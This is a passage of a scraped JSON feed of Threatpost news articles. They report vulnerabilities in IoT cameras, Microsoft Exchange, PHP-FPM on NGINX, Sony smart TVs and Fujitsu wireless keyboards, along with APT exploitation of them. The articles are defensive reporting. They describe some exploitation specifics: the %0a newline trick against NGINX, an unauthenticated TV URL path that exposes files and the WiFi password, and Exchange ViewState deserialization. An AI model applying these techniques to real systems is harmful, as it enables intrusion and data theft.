"COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2021-44207", "CVE-2021-44228"], "modified": "2022-03-09T21:10:20", "id": "THREATPOST:CF4E98EC11A9E5961C991FE8C769544E", "href": "https://threatpost.com/apt41-spies-broke-into-6-us-state-networks-via-livestock-app/178838/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:06", "description": "Over 2 million IP security cameras, baby monitors and smart doorbells have serious vulnerabilities that could enable an attacker to hijack the devices and spy on their owners \u2014 and there\u2019s currently no known patch for the shared flaws.\n\nThe attack stems from peer-to-peer (P2P) communication technology in all of these Internet of Things (IoT) devices, which allows them to be accessed without any manual configuration. The particular P2P solution that they use, iLnkP2P, is developed by Shenzhen Yunni Technology and contains two vulnerabilities that could allow remote hackers to find and take over vulnerable cameras used in the devices.\n\n\u201cOver 2 million vulnerable devices have been identified on the internet, including those distributed by HiChip, TENVIS, SV3C, VStarcam, Wanscam, NEO Coolcam, Sricam, Eye Sight and HVCAM,\u201d said Paul Marrapese, a security engineer who discovered the flaws, in a [post last week](<https://hacked.camera/>). \u201cAffected devices use a component called iLnkP2P. Unfortunately, iLnkP2P is used by hundreds of other brands as well, making identification of vulnerable devices difficult.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe first iLnkP2P bug is an enumeration vulnerability ([CVE-2019-11219](<https://nvd.nist.gov/vuln/detail/CVE-2019-11219>)), which enables attackers to discover exploitable devices that are online. The second is an authentication vulnerability ([CVE-2019-11220](<https://nvd.nist.gov/vuln/detail/CVE-2019-11220>)) that allows remote attackers to intercept user-to-device traffic in cleartext, including video streams and device credentials.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29091449/security-camera-hack.png>)\n\nThe UID prefixes on devices known to be vulnerable.\n\nIoT device users can discover if they are impacted by looking at their device\u2019s UID, which is its unique identifier. The first prefix part of a UID indicates exploitability: For instance, devices with the FFFF prefix are among those that are vulnerable. A list of all the prefixes that are known to be vulnerable is available in the image to the left.\n\nMarrapese said that he sent an initial advisory to device vendors regarding the security issues Jan. 15; and an advisory to the developers of iLnkP2P on Feb. 4, once he was able to identify them. He said that he has not received any responses despite multiple attempts at contact. The vulnerabilities were publicly disclosed April 24.\n\nIf consumers are impacted, they should block outbound traffic to UDP port 32100, which prevents devices from being accessed from external networks through P2P. However, Marrapese said the main step users could take is to buy a new device.\n\n\u201cIdeally, buy a new device from a reputable vendor,\u201d he said. \u201cResearch suggests that a fix from vendors is unlikely, and these devices are often riddled with other security problems that put their owners at risk.\u201d\n\nIt\u2019s hardly the first security issue in security and surveillance cameras, which hold sensitive data and video footage ripe for the taking for hackers.\n\n[In July](<https://threatpost.com/security-glitch-in-iot-camera-enabled-remote-monitoring/134504/>), IoT camera maker Swann patched a flaw in its connected cameras that would allow a remote attacker to access their video feeds. And in September up to 800,000 IP-based closed-circuit television cameras [were vulnerable](<https://threatpost.com/zero-day-bug-allows-hackers-to-access-cctv-surveillance-cameras/137499/>) to a zero-day vulnerability that could have allowed hackers to access surveillance cameras, spy on and manipulate video feeds, or plant malware.\n\n\u201cSecurity cameras continue to be the oxymoron of the 21st century,\u201d Joe Lea, vice president of product at Armis, in an email. \u201cThis is a perfect storm of a security exposure for an IoT device \u2013 no authentication, no encryption, near impossible upgrade path. We have to stop enabling connectivity over security \u2013 this is a defining moment in how we see lack of security for devices and lack of response.\u201d\n\nIn a comment to Threatpost, Marrapese said that vendors have a big part to play when it comes to doing more to secure their connected devices.\n\n\u201cVendors need to stop relying on \u2018security through obscurity,'\u201d he said. \u201cThe use of deterrents is not sufficient; vendors need to develop serious application security practices.\u201d\n", "cvss3": {}, "published": "2019-04-29T13:37:40", "type": "threatpost", "title": "2 Million IoT Devices Vulnerable to Complete Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11219", "CVE-2019-11220", "CVE-2020-0688"], "modified": "2019-04-29T13:37:40", "id": "THREATPOST:985BD7D2744A9AA9EC43C5DDCD561812", "href": "https://threatpost.com/iot-devices-vulnerable-takeover/144167/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:23:09", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:F54F8338674294DE3D323ED03140CB71", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:21:46", "description": "Over 80 percent of exposed Exchange servers are still vulnerable to a severe vulnerability \u2013 nearly two months after the flaw was patched, and after researchers warned that multiple threat groups were exploiting it.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, opens servers up to authenticated attackers, who could execute code remotely on them with system privileges.\n\nResearchers recently used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw. Out of 433,464 internet-facing Exchange servers observed, at least 357,629 were vulnerable (as of March 24).\n\n[](<https://threatpost.com/newsletter-sign/>)\u201cIf your organization is using Exchange and you aren\u2019t sure whether it has been updated, we strongly urge you to skip to the Taking Action section immediately,\u201d said Tom Sellers, manager of the Rapid7 Labs team, in a [Monday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\nWhile the flaw was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates, researchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors. Attacks [first started late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\nBrian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program (which was credited with discovered the flaw) told [Threatpost via email](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that while the vulnerability was labelled \u201cimportant\u201d in severity by Microsoft, researchers opine it should be treated as \u201ccritical.\u201d\n\n\u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog,\u201d he said. \u201cWe felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\nThe patch management issues with Exchange servers extend beyond CVE-2020-0688. Sellers said his investigation revealed that over 31,000 Exchange 2010 servers have not been updated since 2012. And, there are nearly 800 Exchange 2010 servers that have never been updated, he said.\n\nSellers urged admins to verify that an update has been deployed. He also said users can determine whether anyone has attempted to exploit the vulnerability in their environment: \u201cSince exploitation requires a valid Exchange user account, any account tied to these attempts should be treated as compromised,\u201d Sellers said.\n\n> If your org uses Microsoft Exchange I *strongly* recommend you make sure the patch for CVE-2020-0688 (Feb 11) is installed.\n> \n> Unpatched means phished user = SYSTEM on OWA servers.[@Rapid7](<https://twitter.com/rapid7?ref_src=twsrc%5Etfw>) Project Sonar found at least 357,629 unpatched hosts.\n> \n> Blog post: <https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [April 6, 2020](<https://twitter.com/TomSellers/status/1247215382773018624?ref_src=twsrc%5Etfw>)\n\n\u201cThe most important step is to determine whether Exchange has been updated,\u201d Sellers said. \u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled. This will typically be servers with the Client Access Server (CAS) role, which is where your users would access Outlook Web App (OWA).\u201d\n\n[](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-07T21:19:15", "type": "threatpost", "title": "Serious Exchange Flaw Still Plagues 350K Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-07T21:19:15", "id": "THREATPOST:DF7C78725F19B2637603E423E56656D4", "href": "https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-06T21:57:01", "description": "A buffer underflow bug in PHP could allow remote code-execution (RCE) on targeted NGINX servers.\n\nFirst discovered during a hCorem Capture the Flag competition in September, the bug (CVE-2019-11043) exists in the FastCGI directive used in some PHP implementations on NGINX servers, according to researchers at Wallarm.\n\nPHP powers about 30 percent of modern websites, including popular web platforms like WordPress and Drupal \u2013 but NGINX servers are only vulnerable if they have PHP-FPM enabled (a non-default optimization feature that allows servers to execute scripts faster). The issue [is patched](<https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest>) in PHP versions 7.3.11, 7.2.24 and 7.1.33, which were released last week.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIn a [Monday posting](<https://github.com/search?q=fastcgi_split_path&type=Code>), Wallarm researchers said that the bug can be exploited by sending specially crafted packets to the server by using the \u201cfastcgi_split_path\u201d directive in the NGINX configuration file. That file is configured to process user data, such as a URL. If an attacker creates a special URL that includes a \u201c%0a\u201d (newline) byte, the server will send back more data than it should, which confuses the FastCGI mechanism.\n\n\u201cIn particular, [the bug can be exploited] in a fastcgi_split_path directive and a regexp trick with newlines,\u201d according to Wallarm security researcher Andrew Danau, who found the bug. \u201cBecause of %0a character, NGINX will set an empty value to this variable, and fastcgi+PHP will not expect this\u2026.[as a result], it\u2019s possible to put [in] arbitrary FastCGI variables, like PHP_VALUE.\u201d\n\nAnother security researcher participating in the CTF exercise, Emil Lerner, offered more details in the [PHP bug tracker](<https://bugs.php.net/bug.php?id=78599>): \u201cThe regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug,\u201d he said.\n\nLerner [posted a zero-day proof-of-concept](<https://github.com/neex/phuip-fpizdam/>) exploit for the flaw that works in PHP 7 to allow code execution. The exploit makes use of an optimization used for storing FastCGI variables, _fcgi_data_seg.\n\n\u201cUsually, that sort of [buffer underflow] response is related to memory-corruption attacks and we expected to see an attack on the type of information disclosure,\u201d Wallarm researchers said. \u201cInformation disclosure is bad enough as it can result in leaking sensitive or financial data. Even worse, from time to time, although quite rarely, such behavior can indicate a remote code-execution vulnerability.\u201d\n\nResearchers added that without patching, this issue can be a dangerous entry point into web applications given the trivial nature of mounting an exploit.\n\nAdmins can identify vulnerable FastCGI directives in their NGINX configurations with a bash command, \u201cegrep -Rin \u2013color \u2018fastcgi_split_path\u2019 /etc/nginx/,\u201d according to Wallarm.\n\n_**What are the top mistakes leading to data breaches at modern enterprises? Find out: Join experts from SpyCloud and Threatpost senior editor Tara Seals on our upcoming free **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**, \u201cTrends in Fortune 1000 Breach Exposure.\u201d **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**.**_\n", "cvss3": {}, "published": "2019-10-28T16:18:11", "type": "threatpost", "title": "PHP Bug Allows Remote Code-Execution on NGINX Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11043", "CVE-2020-0688", "CVE-2020-1472"], "modified": "2019-10-28T16:18:11", "id": "THREATPOST:DBA639CBD82839FDE8E9F4AE1031AAF7", "href": "https://threatpost.com/php-bug-rce-nginx-servers/149593/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:18", "description": "Two vulnerabilities in Android-based smart-TVs from Sony, including the flagship Bravia line, could allow attackers to access WiFi passwords and images stored on the devices.\n\nThe bugs exist in the Photo Sharing Plus feature of Sony smart-TVs going back to 2015. They were uncovered by xen1thLabs in October; Sony in response [has removed](<https://www.sony.com/electronics/support/televisions-projectors/articles/00204331>) the vulnerable application from all new models and the bugs were disclosed on Monday.\n\nIt\u2019s important to remember that the vulnerabilities exist not only in homes but also in companies and organizations where smart TVs are used in conference and meeting rooms, widening the scope of the threat surface.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe Photo Sharing Plus application allows the uploading of pictures and multimedia from a smartphone to a TV, in order to show content in a slideshow format. The first vulnerability (CVE-2019-11336) allows an attacker, without authentication, to retrieve the WiFi password created by the television when the Photo Sharing Plus application is started. The second (CVE-2019-10886) allows an attacker to read arbitrary files, including images, located within the TV\u2019s software, without authentication.\n\nOn the first point, when started, the app essentially turns the TV into a WiFi access point and shows a WiFi password that allows customers to connect and share their media content, according to xen1thLabs. It\u2019s possible for an attacker to retrieve this password in plaintext from the logs kept in the Photo Sharing Plus API, according to the researchers, which is reachable via the home network or corporate LAN and which has no access restrictions on it.\n\nThe second bug opens up internal smart-TV files to cyberattackers: \u201cBy default, images used by the Photo Sharing Plus application are stored inside \u2018/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/\u2019,\u201d explained the team, in [an advisory](<https://www.darkmatter.ae/blogs/security-flaws-uncovered-in-sony-smart-tvs/>) this week. \u201cThe application initiates an access point on the television and a HTTP daemon is listening to a TCP port on the newly created WLAN. Furthermore, this daemon also listens on the LAN side of the television, and it is possible to retrieve these images from the LAN an image using [a hardcoded URL without authentication].\u201d\n\nFurther, browsing to the hard-coded web address \u201chttp://[ip_tv]:10000/contentshare/image/\u201d allows access to the Android-based root directory of the television, along with its default property files; these include the wireless password for the television.\n\nIn either case, attackers could upload their own content or pilfer content from the TV owners.\n\nTo be clear, an adversary would need to first access the network in order to exploit either vulnerability \u2013 so the attack would be local or require a multi-stage effort involving gaining remote network access.\n\nA list of affected models can be found [here](<https://www.sony.com/electronics/support/televisions-projectors/articles/00204331>) \u2013 the list is not comprehensive, according to xen1thLabs.\n\nThis is not the first issue for Sony TVs and Photo Sharing Plus. In October, security researchers revealed that eight Sony Bravia smart TV models [were vulnerable](<https://threatpost.com/sony-smart-tv-bug-allows-remote-access-root-privileges/138063/>) to a command-injection (CVE-2018-16593) bug tied to Photo Sharing Plus.\n\n\u201cThis application handles file names incorrectly when the user uploads a media file,\u201d wrote Fortinet\u2019s Tony Loi at the time, who found the vulnerability. \u201cAn attacker can abuse such filename mishandling to run arbitrary commands on the system, which can result in complete remote code-execution with root privilege.\u201d\n\nThe bugs illustrate the snowballing threat surface of smart devices and the internet of things (IoT), and the need for more awareness on the part of consumers and businesses alike.\n\n\u201cAny one of the billions of devices connected to a network, no matter how small, could be a target for hackers looking for a vulnerable path to a network or as part of a more widespread attack on a particular device type or channel,\u201d said Gil Bernabeu, technical director at GlobalPlatform, in [a recent blog](<https://globalplatform.org/is-it-impossible-to-securely-manage-the-billions-of-things-in-the-iot-ecosystem-2/?utm_source=iseepr&utm_medium=Blog&utm_campaign=SecureComponent>) on IoT security. \u201cAs the number and nature of use cases grow, so too do the risks.\u201d\n", "cvss3": {}, "published": "2019-04-25T21:13:31", "type": "threatpost", "title": "Android-Based Sony Smart-TVs Open to Image Pilfering", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-16593", "CVE-2019-10886", "CVE-2019-11336", "CVE-2020-0688"], "modified": "2019-04-25T21:13:31", "id": "THREATPOST:24AD38597408C4E7757770D45345AEBA", "href": "https://threatpost.com/android-sony-smart-tvs/144133/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:23:47", "description": "Two high-severity flaws, discovered in a popular Fujitsu wireless keyboard set, could allow attackers from a short distance away to \u201ceavesdrop\u201d on passwords entered into the keyboards, or even fully takeover a victim\u2019s system.\n\nMaking matters worse, the impacted Fujitsu wireless keyboard LX390 reached end-of-life in May 2019 \u2013 meaning that a patch is not available and affected users are instead urged to replace their keyboards entirely.\n\n\u201cFujitsu has released two new wireless keyboard sets named LX410 and LX960 that are not affected by the described security issue,\u201d said Matthias Deeg, researcher with Germany-based SySS, in an advisory [sent to Threatpost on Wednesday](<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-011.txt>). \u201cSySS recommends replacing LX390 wireless keyboard sets used in environments with higher security demands, for instance with one of the newer successor models LX410 or LX960.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe Fujitsu [Wireless Keyboard Set LX390](<https://www01.cp-static.com/objects/pdf/e/e2e/1349166666_1_toetsenborden-fujitsu-lx390-s26381-k590-l480.pdf>) desk set consists of a mouse and a keyboard. The wireless keyboard transmits keystrokes to the desktop wirelessly using a 2.4 GHz-range transceiver.\n\nIt\u2019s that data communication between the wireless keyboard and desktop where the vulnerabilities stem from; the LX390 does not use encryption for transmitting data packets that contain keyboard events, like keystrokes. Instead, the keyboard aims to secure any communicated data using a mechanism called \u201cdata whitening,\u201d which essentially scrambles the data in a certain configuration.\n\nHowever, because the data isn\u2019t encrypted, it can still be accessed and analyzed by an attacker who is up to 150 feet away (the [typical reach](<https://www.lifewire.com/range-of-typical-wifi-network-816564>) of devices using 2.4 GHz radio frequency).\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/10/23130539/fujitsu.jpg>)\n\nResearchers were able to sniff out and analyze the radio communication using a software tool (the [Universal Radio Hacker](<https://github.com/jopohl/urh>)), to then unscramble the data-whitening configuration. That allowed them to view the data packet contents \u2013 which, Deeg said, could lead to two proof-of-concept (PoC) attacks.\n\nFirst of all, with access to the data packets, researchers were able to scope out keystrokes, such as passwords being entered into the wireless keyboard (CVE-2019-18201).\n\n\u201cWith this knowledge, an attacker can remotely analyze and decode sent keyboard events of a Fujitsu LX390 keyboard as cleartext, for instance keystrokes, and thus gain unauthorized access to sensitive data like passwords,\u201d said Deeg.\n\nIn another PoC attack, researchers were able to launch keystroke injections (CVE-2019-18200), which is an attack where hackers could send their own data packets to the wireless keyboard device, which in turn generates keystrokes on the host computer (which would need to have a screen that\u2019s already unlocked and unattended).\n\nAttackers from the short distance away could use keystroke injection attacks for all sorts of malicious purposes \u2013 the worst being the installation of malware, including dangerous rootkits. In order to send data packets in this proof-of-concept attack, researchers used a software-defined radio in combination with an in-house developed software tool utilizing [GNU Radio](<https://www.gnuradio.org/>).\n\nBoth flaws were reported to the manufacturer in April 2019. Fujitsu did not immediately respond to a request for comment from Threatpost.\n\nIt\u2019s not the first Fujitsu wireless keyboard flaw to be found; in March [Fujitsu stopped sales](<https://threatpost.com/unpatched-fujitsu-wireless-keyboard-bug-allows-keystroke-injection/142847/>) for its popular wireless keyboard after a researcher discovered it is vulnerable to keystroke injection attacks that could allow an adversary to take control of a victim\u2019s system.\n\nThese types of attacks have garnered attention since 2016, when the [Mousejack vulnerability](<https://threatpost.com/mousejack-attacks-abuse-vulnerable-wireless-keyboard-mouse-dongles/116402/>) raised awareness of the potential risks introduced by a wireless mouse or keyboard to the enterprise. In April [2018,](<https://threatpost.com/microsoft-fixes-66-bugs-in-april-patch-tuesday-release/131127/>) Microsoft patched a Wireless Keyboard 850 security feature bypass vulnerability ([CVE-2018-8117](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8117>)); while in December 2018 Logitech patched a bug could have allowed adversaries to launch keystroke [injection attacks](<https://threatpost.com/logitech-keystroke-injection-flaw/139928/>) against Logitech keyboard owners that used its app.\n\n\u201cAccording to our research results of the last three years, several wireless input devices like wireless desktop sets and wireless presenter using proprietary non-Bluetooth 2.4 GHz communication had some severe security issues allowing for replay, keystroke injection, and sometimes even keystroke sniffing attacks,\u201d Deeg told Threatpost.\n\n_**What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free **_[_**Threatpost webinar**_](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)_**, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d **_[_**Click here to register**_](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)_**.**_\n", "cvss3": {}, "published": "2019-10-23T18:03:45", "type": "threatpost", "title": "Fujitsu Wireless Keyboard Plagued By Unpatched Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-8117", "CVE-2019-18200", "CVE-2019-18201", "CVE-2020-0688"], "modified": "2019-10-23T18:03:45", "id": "THREATPOST:4D0DF8055D2BC682608C1A746606A6E4", "href": "https://threatpost.com/fujitsu-wireless-keyboard-unpatched-flaws/149477/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:19:31", "description": "The U.S. government is warning that Chinese threat actors have successfully compromised several government and private sector entities in recent months, by exploiting vulnerabilities in F5 BIG-IP devices, Citrix and Pulse Secure VPNs and Microsoft Exchange servers.\n\nPatches are currently available for all these flaws \u2013 and in some cases, have been available for over a year \u2013 however, the targeted organizations had not yet updated their systems, leaving them vulnerable to compromise, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Monday advisory. CISA claims the attacks were launched by threat actors affiliated with the Chinese Ministry of State Security.\n\n[](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats,\u201d according to a [Monday CISA advisory](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>). \u201cImplementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems.\u201d\n\nNo further details on the specific hacked entities were made public. The threat actors have been spotted successfully exploiting two common vulnerabilities \u2013 allowing them to compromise federal government and commercial entities, according to CISA.\n\nThe first is a vulnerability (CVE-2020-5902) in [F5\u2019s Big-IP Traffic Management User Interface](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>), which allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code. As of July, about 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices [were still vulnerable](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to the critical flaw.\n\nFeds also observed the attackers exploiting an [arbitrary file reading vulnerability](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) affecting Pulse Secure VPN appliances (CVE-2019-11510). This flaw \u2013 speculated to be the [cause of the Travelex breach](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) earlier this year \u2013 allows bad actors to gain access to victim networks.\n\n\u201cAlthough Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where [compromised Active Directory credentials](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) were used months after the victim organization patched their VPN appliance,\u201d according to the advisory.\n\nThreat actors were also observed hunting for [Citrix VPN Appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) vulnerable to CVE-2019-19781, which is a flaw that enables attackers to execute directory traversal attacks. And, they have also been observed attempting to exploit a [Microsoft Exchange server](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>) remote code execution flaw (CVE-2020-0688) that allows attackers to collect emails of targeted networks.\n\nAs part of its advisory, CISA also identified common TTPs utilized by the threat actors. For instance, threat actors have been spotted using [the Cobalt Strike commercial penetration testing tool](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to target commercial and federal government networks; they have also seen the actors successfully deploying the [open-source China Chopper tool](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) against organization networks and using [open-source tool 